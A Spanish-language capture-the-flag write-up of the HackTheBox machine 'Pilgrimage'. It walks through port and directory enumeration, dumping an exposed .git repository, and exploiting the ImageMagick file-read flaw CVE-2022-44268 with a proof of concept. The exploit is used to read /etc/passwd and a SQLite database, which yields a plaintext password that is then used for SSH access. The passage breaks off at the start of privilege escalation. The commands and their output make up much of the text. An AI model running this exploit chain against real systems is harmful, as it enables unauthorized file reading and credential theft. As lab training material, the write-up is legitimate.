Pilgrimage es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Pilgrimage 10.129.27.35 a /etc/hosts como pilgrimage.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -p- --open -sS --min-rate 5000 -n -vvv -oA enumeration/nmap1 10.129.27.35 Nmap scan report for 10.129.27.35 Host is up, received reset ttl 63 (0.055s latency). Scanned at 2023-06-26 13:22:03 GMT for 14s Not shown: 65527 closed tcp ports (reset), 6 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Mon Jun 26 13:22:17 2023 -- 1 IP address (1 host up) scanned in 13.83 seconds |
Una vez hecho el escaneo inicial enumeramos más a fondo los puertos descubiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.129.27.35 Nmap scan report for 10.129.27.35 Host is up (0.053s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 20be60d295f628c1b7e9e81706f168f3 (RSA) | 256 0eb6a6a8c99b4173746e70180d5fe0af (ECDSA) |_ 256 d14e293c708669b4d72cc80b486e9804 (ED25519) 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: Did not follow redirect to http://pilgrimage.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Jun 26 13:22:58 2023 -- 1 IP address (1 host up) scanned in 11.45 seconds |
Enumeración
Accedemos al portal web y vemos la siguiente ventana
Encontramos un portal web para el tratado de imágenes, en concreto, la reducción de las mismas, y poco más, así que vamos a enumerar directorios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
$ feroxbuster -u http://pilgrimage.htb/ -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://pilgrimage.htb/ 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 7l 9w 153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 7l 11w 153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 7l 11w 169c http://pilgrimage.htb/tmp => http://pilgrimage.htb/tmp/ 302 GET 0l 0w 0c http://pilgrimage.htb/logout.php => http://pilgrimage.htb/ 302 GET 0l 0w 0c http://pilgrimage.htb/dashboard.php => http://pilgrimage.htb/login.php 200 GET 171l 403w 6166c http://pilgrimage.htb/login.php 200 GET 178l 395w 5292c http://pilgrimage.htb/assets/js/custom.js 200 GET 5l 27w 1031c http://pilgrimage.htb/assets/js/popup.js 200 GET 94l 234w 3576c http://pilgrimage.htb/assets/css/custom.css 200 GET 186l 505w 4928c http://pilgrimage.htb/assets/css/owl.css 200 GET 171l 403w 6173c http://pilgrimage.htb/register.php 301 GET 7l 11w 169c http://pilgrimage.htb/assets => http://pilgrimage.htb/assets/ 200 GET 11l 552w 57997c http://pilgrimage.htb/assets/css/animate.css 200 GET 2349l 5229w 50334c http://pilgrimage.htb/assets/css/templatemo-woox-travel.css 200 GET 7l 942w 60110c http://pilgrimage.htb/vendor/bootstrap/js/bootstrap.min.js 200 GET 2l 1283w 86927c http://pilgrimage.htb/vendor/jquery/jquery.min.js 200 GET 6805l 11709w 123176c http://pilgrimage.htb/assets/css/fontawesome.css 301 GET 7l 11w 169c http://pilgrimage.htb/assets/images => http://pilgrimage.htb/assets/images/ 301 GET 7l 11w 169c http://pilgrimage.htb/assets/js => http://pilgrimage.htb/assets/js/ 301 GET 7l 11w 169c http://pilgrimage.htb/assets/css => http://pilgrimage.htb/assets/css/ 200 GET 15l 1928w 119998c http://pilgrimage.htb/assets/js/isotope.min.js 200 GET 7l 2223w 194705c http://pilgrimage.htb/vendor/bootstrap/css/bootstrap.min.css 200 GET 16582l 60225w 485937c http://pilgrimage.htb/assets/js/tabs.js 200 GET 198l 494w 7621c http://pilgrimage.htb/ 200 GET 198l 494w 7621c http://pilgrimage.htb/index.php 301 GET 7l 11w 169c http://pilgrimage.htb/vendor => http://pilgrimage.htb/vendor/ 301 GET 7l 11w 169c http://pilgrimage.htb/vendor/jquery => http://pilgrimage.htb/vendor/jquery/ [####################] - 3m 212698/212698 0s found:25 errors:22 [####################] - 3m 26584/26584 173/s http://pilgrimage.htb/ [####################] - 3m 26584/26584 167/s http://pilgrimage.htb/tmp/ [####################] - 3m 26584/26584 173/s http://pilgrimage.htb/assets/ [####################] - 3m 26584/26584 172/s http://pilgrimage.htb/assets/images/ [####################] - 3m 26584/26584 173/s http://pilgrimage.htb/assets/js/ [####################] - 3m 26584/26584 172/s http://pilgrimage.htb/assets/css/ [####################] - 3m 26584/26584 176/s http://pilgrimage.htb/vendor/ [####################] - 2m 26584/26584 179/s http://pilgrimage.htb/vendor/jquery/ |
No parece que haya gran cosa así que seguimos con la enumeración y encontramos un directorio .git
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ ffuf -u http://pilgrimage.htb/.FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 50 -mc 301,302 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev ________________________________________________ :: Method : GET :: URL : http://pilgrimage.htb/.FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 50 :: Matcher : Response status: 301,302 ________________________________________________ [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 51ms] * FUZZ: git :: Progress: [26584/26584] :: Job [1/1] :: 886 req/sec :: Duration: [0:00:31] :: Errors: 2 :: |
Así que vamos a descargarnos su contenido con la tool git-dumper
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 |
$ python3 git_dumper.py http://pilgrimage.htb/.git/ /home/asdf/current/data/git/ [-] Testing http://pilgrimage.htb/.git/HEAD [200] [-] Testing http://pilgrimage.htb/.git/ [403] [-] Fetching common files [-] Fetching http://pilgrimage.htb/.gitignore [404] [-] http://pilgrimage.htb/.gitignore responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/COMMIT_EDITMSG [200] [-] Fetching http://pilgrimage.htb/.git/hooks/commit-msg.sample [200] [-] Fetching http://pilgrimage.htb/.git/description [200] [-] Fetching http://pilgrimage.htb/.git/hooks/applypatch-msg.sample [200] [-] Fetching http://pilgrimage.htb/.git/hooks/post-commit.sample [404] [-] http://pilgrimage.htb/.git/hooks/post-commit.sample responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/hooks/post-receive.sample [404] [-] http://pilgrimage.htb/.git/hooks/post-receive.sample responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/hooks/pre-applypatch.sample [200] [-] Fetching http://pilgrimage.htb/.git/hooks/post-update.sample [200] [-] Fetching http://pilgrimage.htb/.git/hooks/pre-commit.sample [200] [-] Fetching http://pilgrimage.htb/.git/hooks/pre-push.sample [200] [-] Fetching http://pilgrimage.htb/.git/hooks/pre-rebase.sample [200] [-] Fetching http://pilgrimage.htb/.git/info/exclude [200] [-] Fetching http://pilgrimage.htb/.git/hooks/prepare-commit-msg.sample [200] [-] Fetching http://pilgrimage.htb/.git/index [200] [-] Fetching http://pilgrimage.htb/.git/objects/info/packs [404] [-] http://pilgrimage.htb/.git/objects/info/packs responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/hooks/update.sample [200] [-] Fetching http://pilgrimage.htb/.git/hooks/pre-receive.sample [200] [-] Finding refs/ [-] Fetching http://pilgrimage.htb/.git/FETCH_HEAD [404] [-] http://pilgrimage.htb/.git/FETCH_HEAD responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/HEAD [200] [-] Fetching http://pilgrimage.htb/.git/ORIG_HEAD [404] [-] http://pilgrimage.htb/.git/ORIG_HEAD responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/logs/HEAD [200] [-] Fetching http://pilgrimage.htb/.git/info/refs [404] [-] http://pilgrimage.htb/.git/info/refs responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/config [200] [-] Fetching http://pilgrimage.htb/.git/logs/refs/heads/master [200] [-] Fetching http://pilgrimage.htb/.git/packed-refs [404] [-] http://pilgrimage.htb/.git/packed-refs responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/refs/heads/master [200] [-] Fetching http://pilgrimage.htb/.git/logs/refs/stash [404] [-] http://pilgrimage.htb/.git/logs/refs/stash responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/master [404] [-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/master responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD [404] [-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/HEAD [404] [-] http://pilgrimage.htb/.git/refs/remotes/origin/HEAD responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/master [404] [-] http://pilgrimage.htb/.git/refs/remotes/origin/master responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/refs/stash [404] [-] http://pilgrimage.htb/.git/refs/stash responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master [404] [-] http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master [404] [-] http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master responded with status code 404 [-] Finding packs [-] Finding objects [-] Fetching objects [-] Fetching http://pilgrimage.htb/.git/objects/76/a559577d4f759fff6af1249b4a277f352822d5 [200] [-] Fetching http://pilgrimage.htb/.git/objects/e9/2c0655b5ac3ec2bfbdd015294ddcbe054fb783 [200] [-] Fetching http://pilgrimage.htb/.git/objects/c4/18930edec4da46019a1bac06ecb6ec6f7975bb [200] [-] Fetching http://pilgrimage.htb/.git/objects/dc/446514835fe49994e27a1c2cf35c9e45916c71 [200] [-] Fetching http://pilgrimage.htb/.git/objects/ff/dbd328a3efc5dad2a97be47e64d341d696576c [200] [-] Fetching http://pilgrimage.htb/.git/objects/c4/3565452792f19d2cf2340266dbecb82f2a0571 [200] [-] Fetching http://pilgrimage.htb/.git/objects/8e/42bc52e73caeaef5e58ae0d9844579f8e1ae18 [200] [-] Fetching http://pilgrimage.htb/.git/objects/c3/27c2362dd4f8eb980f6908c49f8ef014d19568 [200] [-] Fetching http://pilgrimage.htb/.git/objects/6c/965df00a57fd13ad50b5bbe0ae1746cdf6403d [200] [-] Fetching http://pilgrimage.htb/.git/objects/f2/b67ac629e09e9143d201e9e7ba6a83ee02d66e [200] [-] Fetching http://pilgrimage.htb/.git/objects/b6/c438e8ba16336198c2e62fee337e126257b909 [200] [-] Fetching http://pilgrimage.htb/.git/objects/8a/62aac3b8e9105766f3873443758b7ddf18d838 [200] [-] Fetching http://pilgrimage.htb/.git/objects/fb/f9e44d80c149c822db0b575dbfdc4625744aa4 [200] [-] Fetching http://pilgrimage.htb/.git/objects/cd/2774e97bfe313f2ec2b8dc8285ec90688c5adb [200] [-] Fetching http://pilgrimage.htb/.git/objects/fd/90fe8e067b4e75012c097a088073dd1d3e75a4 [200] [-] Fetching http://pilgrimage.htb/.git/objects/a5/29d883c76f026420aed8dbcbd4c245ed9a7c0b [200] [-] Fetching http://pilgrimage.htb/.git/objects/fa/175a75d40a7be5c3c5dee79b36f626de328f2e [200] [-] Fetching http://pilgrimage.htb/.git/objects/46/44c40a1f15a1eed9a8455e6ac2a0be29b5bf9e [200] [-] Fetching http://pilgrimage.htb/.git/objects/b2/15e14bb4766deff4fb926e1aa080834935d348 [200] [-] Fetching http://pilgrimage.htb/.git/objects/50/210eb2a1620ef4c4104c16ee7fac16a2c83987 [200] [-] Fetching http://pilgrimage.htb/.git/objects/1f/8ddab827030fbc81b7cb4441ec4c9809a48bc1 [200] [-] Fetching http://pilgrimage.htb/.git/objects/e1/a40beebc7035212efdcb15476f9c994e3634a7 [200] [-] Fetching http://pilgrimage.htb/.git/objects/29/4ee966c8b135ea3e299b7ca49c450e78870b59 [200] [-] Fetching http://pilgrimage.htb/.git/objects/1f/2ef7cfabc9cf1d117d7a88f3a63cadbb40cca3 [200] [-] Fetching http://pilgrimage.htb/.git/objects/96/3349e4f7a7a35c8f97043c20190efbe20d159a [200] [-] Fetching http://pilgrimage.htb/.git/objects/c2/cbe0c97b6f3117d4ab516b423542e5fe7757bc [200] [-] Fetching http://pilgrimage.htb/.git/objects/06/19fc1c747e6278bbd51a30de28b3fcccbd848a [200] [-] Fetching http://pilgrimage.htb/.git/objects/11/dbdd149e3a657bc59750b35e1136af861a579f [200] [-] Fetching http://pilgrimage.htb/.git/objects/c2/a4c2fd4e5b2374c6e212d1800097e3b30ff4e2 [200] [-] Fetching http://pilgrimage.htb/.git/objects/49/cd436cf92cc28645e5a8be4b1973683c95c537 [200] [-] Fetching http://pilgrimage.htb/.git/objects/2b/95e3c61cd8f7f0b7887a8151207b204d576e14 [200] [-] Fetching http://pilgrimage.htb/.git/objects/2f/9156e434cfa6204c9d48733ee5c0d86a8a4e23 [200] [-] Fetching http://pilgrimage.htb/.git/objects/54/4d28df79fe7e6757328f7ecddf37a9aac17322 [200] [-] Fetching http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 [404] [-] http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404 [-] Fetching http://pilgrimage.htb/.git/objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212 [200] [-] Fetching http://pilgrimage.htb/.git/objects/5f/ec5e0946296a0f09badeb08571519918c3da77 [200] [-] Fetching http://pilgrimage.htb/.git/objects/b4/21518638bfb4725d72cc0980d8dcaf6074abe7 [200] [-] Fetching http://pilgrimage.htb/.git/objects/47/6364752c5fa7ad9aa10f471dc955aac3d3cf34 [200] [-] Fetching http://pilgrimage.htb/.git/objects/93/ed6c0458c9a366473a6bcb919b1033f16e7a8d [200] [-] Fetching http://pilgrimage.htb/.git/objects/36/c734d44fe952682020fd9762ee9329af51848d [200] [-] Fetching http://pilgrimage.htb/.git/objects/a7/3926e2965989a71725516555bcc1fe2c7d4f9e [200] [-] Fetching http://pilgrimage.htb/.git/objects/8f/155a75593279c9723a1b15e5624a304a174af2 [200] [-] Fetching http://pilgrimage.htb/.git/objects/9e/ace5d0e0c82bff5c93695ac485fe52348c855e [200] [-] Fetching http://pilgrimage.htb/.git/objects/98/10e80fba2c826a142e241d0f65a07ee580eaad [200] [-] Fetching http://pilgrimage.htb/.git/objects/26/8dbf75d02f0d622ac4ff9e402175eacbbaeddd [200] [-] Fetching http://pilgrimage.htb/.git/objects/81/703757c43fe30d0f3c6157a1c20f0fea7331fc [200] [-] Fetching http://pilgrimage.htb/.git/objects/88/16d69710c5d2ee58db84afa5691495878f4ee1 [200] [-] Fetching http://pilgrimage.htb/.git/objects/ca/d9dfca08306027b234ddc2166c838de9301487 [200] [-] Fetching http://pilgrimage.htb/.git/objects/23/1150acdd01bbbef94dfb9da9f79476bfbb16fc [200] [-] Fetching http://pilgrimage.htb/.git/objects/f1/8fa9173e9f7c1b2f30f3d20c4a303e18d88548 [200] [-] Running git checkout . |
Revisamos los commit realizados y sólo vemos uno, el inicial
|
1 2 3 4 5 6 |
$ git log commit e1a40beebc7035212efdcb15476f9c994e3634a7 (HEAD -> master) Author: emily <emily@pilgrimage.htb> Date: Wed Jun 7 20:11:48 2023 +1000 Pilgrimage image shrinking service initial commit. |
Así que revisamos los ficheros y encontramos el binario de magick, así que sacamos la versión del mismo
|
1 2 3 4 5 6 7 |
$ ./magick -version Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP(4.5) Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib Compiler: gcc (7.5) |
Así que vamos a buscar en google y encontramos la vuln CVE-2022-44268 y un exploit
Se trata de una vulnerabilidad de Arbitrary File Read así que revisamos la poc y creamos en primer lugar nuestra imagen, en mi caso tocó actualizar paquetes en primer lugar
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ cargo run "/etc/passwd" Updating crates.io index Downloaded hex v0.4.3 Downloaded miniz_oxide v0.6.2 Downloaded bitflags v1.3.2 Downloaded adler v1.0.2 Downloaded crc32fast v1.3.2 Downloaded flate2 v1.0.25 Downloaded cfg-if v1.0.0 warning: spurious network error (2 tries remaining): [28] Timeout was reached (failed to download any data for `png v0.17.7` within 30s) Downloaded png v0.17.7 Downloaded 8 crates (301.4 KB) in 31.36s Compiling crc32fast v1.3.2 Compiling adler v1.0.2 Compiling cfg-if v1.0.0 Compiling bitflags v1.3.2 Compiling hex v0.4.3 Compiling miniz_oxide v0.6.2 Compiling flate2 v1.0.25 Compiling png v0.17.7 Compiling cve-2022-44268 v0.1.0 (/data/ctf/htb/machines/todo/pilgrimage.htb/payloads/CVE-2022-44268) Finished dev [unoptimized + debuginfo] target(s) in 4m 43s Running `target/debug/cve-2022-44268 /etc/passwd` |
Subimos la imagen al portal, la descargamos y ejecutamos su identificación
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 |
$ identify -verbose 64999a220c486.png Image: Filename: 64999a220c486.png Format: PNG (Portable Network Graphics) Mime type: image/png Class: PseudoClass Geometry: 100x100+0+0 Units: Undefined Colorspace: sRGB Type: Palette Base type: Undefined Endianness: Undefined Depth: 8/1-bit Channel depth: red: 1-bit green: 1-bit blue: 1-bit Channel statistics: Pixels: 10000 Red: min: 255 (1) max: 255 (1) mean: 255 (1) standard deviation: 0 (0) kurtosis: 8.192e+51 skewness: 1e+36 entropy: 0 Green: min: 0 (0) max: 0 (0) mean: 0 (0) standard deviation: 0 (0) kurtosis: -3 skewness: 0 entropy: 0 Blue: min: 0 (0) max: 0 (0) mean: 0 (0) standard deviation: 0 (0) kurtosis: -3 skewness: 0 entropy: 0 Image statistics: Overall: min: 0 (0) max: 255 (1) mean: 85 (0.333333) standard deviation: 0 (0) kurtosis: -1.5001 skewness: 0.707071 entropy: 0 Colors: 1 Histogram: 10000: (255,0,0) #FF0000 red Colormap entries: 2 Colormap: 0: (255,0,0) #FF0000 red 1: (255,255,255) #FFFFFF white Rendering intent: Perceptual Gamma: 0.45455 Chromaticity: red primary: (0.64,0.33) green primary: (0.3,0.6) blue primary: (0.15,0.06) white point: (0.3127,0.329) Background color: srgb(99.6124%,99.6124%,99.6124%) Border color: srgb(223,223,223) Matte color: grey74 Transparent color: black Interlace: None Intensity: Undefined Compose: Over Page geometry: 100x100+0+0 Dispose: Undefined Iterations: 0 Compression: Zip Orientation: Undefined Properties: date:create: 2023-06-26T14:01:33+00:00 date:modify: 2023-06-26T14:01:18+00:00 date:timestamp: 2023-06-26T14:01:06+00:00 png:bKGD: chunk was found (see Background color, above) png:cHRM: chunk was found (see Chromaticity, above) png:gAMA: gamma=0.45455 (See Gamma, above) png:IHDR.bit-depth-orig: 1 png:IHDR.bit_depth: 1 png:IHDR.color-type-orig: 3 png:IHDR.color_type: 3 (Indexed) png:IHDR.interlace_method: 0 (Not interlaced) png:IHDR.width,height: 100, 100 png:PLTE.number_colors: 2 png:sRGB: intent=0 (Perceptual Intent) png:text: 4 tEXt/zTXt/iTXt chunks were found png:tIME: 2023-06-26T14:01:06Z Raw profile type: 1437 726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d 6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f 6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e 2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269 6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f 62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d 65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a 2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a 783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f 6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372 2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73 706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31 303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f 6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573 722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d 646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b 75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f 7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69 7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67 696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73 62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d 5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e 6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334 3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e 2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374 656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72 6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65 6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e 0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052 65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f 6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973 74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573 796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69 7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c 6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d 652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78 3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f 7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f 737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938 3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a signature: d02a8da86fec6ef80c209c8437c76cf8fbecb6528cd7ba95ef93eecc52a171c7 Artifacts: filename: 64999a220c486.png verbose: true Tainted: False Filesize: 1080B Number pixels: 10000 Pixels per second: 2.9101MB User time: 0.000u Elapsed time: 0:01.003 Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org |
Y si decodificamos el valor obtenido obtendremos el fichero passwd
Revisamos el código de nuevo y vemos que carga un fichero de base de datos
Así que generamos una nueva imagen
|
1 2 3 |
$ cargo run "/var/db/pilgrimage" Finished dev [unoptimized + debuginfo] target(s) in 0.92s Running `target/debug/cve-2022-44268 /var/db/pilgrimage` |
Subimos la imagen, la descargamos, y debido al tamaño en este caso se nos complica un poco la cosa así que lo metemos en un simple script en python, limpiamos y tenemos el resultado
|
1 2 |
$ python3 hex.py |sed 's/\\x00//g' b'SQLite format 3\x10\x01\x01@ E\x05\x04\x04\x01E.K\x91\r\x0f\xf8\x04\x0e\xba\x0fe\x0f\xcd\x0e\xba\x0f8|\x03\x07\x17\x19\x19\x01\x81Stableimagesimages\x04CREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL)+\x04\x06\x17?\x19\x01indexsqlite_autoindex_images_1images\x05f\x01\x07\x17\x17\x17\x01\x81+tableusersusers\x02CREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL))\x02\x06\x17=\x17\x01indexsqlite_autoindex_users_1users\x03\x08\r\x01\x0f\xe6\x0f\xe6\x18\x01\x03\x17-emilyabigchonkyboi123\n\x01\x0f\xf7\x0f\xf7\x08\x03\x17\temily\r\x01\x0f\xbf\x0f\xbf?\x01\x04i\x1f\x15http://pilgrimage.htb/shrunk/64999a220c486.pngimage.pngbyte\n\x01\x0f\xce\x0f\xce1\x03i\thttp://pilgrimage.htb/shrunk/64999a220c486.png' |
Es un fichero de sqlite, y si miramos bien en su contenido, tenemos un usuario y una password
|
1 |
emily:abigchonkyboi123 |
Obteniendo la flag de user
Probamos las credenciales y son válidas así que entramos por ssh y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
$ ssh emily@pilgrimage.htb The authenticity of host 'pilgrimage.htb (10.129.27.35)' can't be established. ED25519 key fingerprint is SHA256:uaiHXGDnyKgs1xFxqBduddalajktO+mnpNkqx/HjsBw. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'pilgrimage.htb' (ED25519) to the list of known hosts. emily@pilgrimage.htb's password: Permission denied, please try again. emily@pilgrimage.htb's password: Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. emily@pilgrimage:~$ id uid=1000(emily) gid=1000(emily) groups=1000(emily) emily@pilgrimage:~$ ls -l total 4 -rw-r----- 1 root emily 33 Jun 26 22:35 user.txt emily@pilgrimage:~$ cat user.txt 49xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxb7 emily@pilgrimage:~$ |
Escalado de privilegios
Enumeramos la máquina con el fin de encontrar alguna forma de escalar privilegios y vemos un proceso sospechoso
|
1 2 3 4 |
emily@pilgrimage:~$ ps aux|grep malware root 665 0.0 0.0 6816 3064 ? Ss Jun26 0:00 /bin/bash /usr/sbin/malwarescan.sh root 687 0.0 0.0 6816 2320 ? S Jun26 0:00 /bin/bash /usr/sbin/malwarescan.sh emily 1481 0.0 0.0 6240 700 pts/0 R+ 00:16 0:00 grep malware |
Hay un proceso con root que ejecuta un script llamado malwarescan.sh y su contenido es el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
